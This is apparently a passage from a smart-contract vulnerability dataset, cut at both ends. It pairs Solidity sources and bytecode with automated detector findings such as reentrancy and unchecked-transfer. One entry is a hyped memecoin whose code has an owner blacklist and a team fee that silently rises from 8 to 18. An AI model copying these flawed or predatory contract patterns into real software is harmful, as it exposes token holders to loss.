6113ce565b9050600061173c60646117238a896117b4565b905060006117548261174e8b86611600565b90611600565b9992985090965090945050505050565b600080808061177388866117b4565b9050600061178188876117b4565b9050600061178f88886117b4565b905060006117a18261174e8686611600565b939b939a50919850919650505050505050565b6000826117c357506000610627565b60006117cf8385611c6e565b9050826117dc8583611c4c565b146111ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461077157600080fd5b803561186981611849565b919050565b6000602080838503121561188157600080fd5b823567ffffffffffffffff8082111561189957600080fd5b818501915085601f8301126118ad57600080fd5b8135818111156118bf576118bf611833565b8060051b604051601f19603f830116810181811085821117156118e4576118e4611833565b60405291825284820192508381018501918883111561190257600080fd5b938501935b82851015611927576119188561185e565b84529385019392850192611907565b98975050505050505050565b600060208083528351808285015260005b8181101561196057858101830151858201604001528201611944565b81811115611972576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561199b57600080fd5b82356119a681611849565b946020939093013593505050565b6000806000606084860312156119c957600080fd5b83356119d481611849565b925060208401356119e481611849565b929592945050506040919091013590565b600060208284031215611a0757600080fd5b81356111ed81611849565b8035801515811461186957600080fd5b600060208284031215611a3457600080fd5b6111ed82611a12565b600060208284031215611a4f57600080fd5b5035919050565b600080600060408486031215611a6b57600080fd5b833567ffffffffffffffff80821115611a8357600080fd5b818601915086601f830112611a9757600080fd5b813581811115611aa657600080fd5b8760208260051b8501011115611abb57600080fd5b602092830195509350611ad19186019050611a12565b90509250925092565b60008060408385031215611aed57600080fd5b8235611af881611849565b91506020830135611b0881611849565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8857611b88611b5e565b5060010190565b60008219821115611ba257611ba2611b5e565b500190565b600082821015611bb957611bb9611b5e565b500390565b600060208284031215611bd057600080fd5b81516111ed81611849565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2b5784516001600160a01b031683529383019391830191600101611c06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c8857611c88611b5e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f76f42cbb2bcec92621f4ceb7207927a9c6bcd75857dd1814de73f78e85dfa1c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
260
0x89d0de4ffC0842424BABFa5377377d656F2407aB
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
261
0x0e97aad975a03a9eb68c36f7febf0595c5ca9a74
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ /** ___ __ __ _ _ ___ __ __ _ _ __ __ _ _ _ _ ( _)( ) / \( \( ) ( _)( ) / \( ) ) ( ) ( )( \( )( )( ) ) _) )(__( () )) ( ) _) )(__( () )) \ )( )( ) ( )()( (___)(____)\__/(_)\_) (_) (____)\__/(_)\_)(__) (__)(_)\_) \__/ Welcome to Elon Floki Inu! Elon called the Floki today. "My Shiba Inu will be named Floki" Fron Elon Musk https://twitter.com/elonmusk/status/1408380216653844480?s=20 Going to make a ElonFlokiInu after few hours. Fair launch!!! No cooldown, No buy or sell limit Join to https://t.me/FlokiElonInu Follow https://twitter.com/ElonFlokiToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonFlokiInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Elon Floki Inu \xF0\x9F\x90\xB6"; string private constant _symbol = "ElonFloki \xF0\x9F\x90\x95"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 18; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ec4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129e7565b61045e565b6040516101789190612ea9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613066565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612998565b61048d565b6040516101e09190612ea9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061290a565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130db565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a64565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061290a565b610783565b6040516102b19190613066565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612ddb565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ec4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129e7565b61098d565b60405161035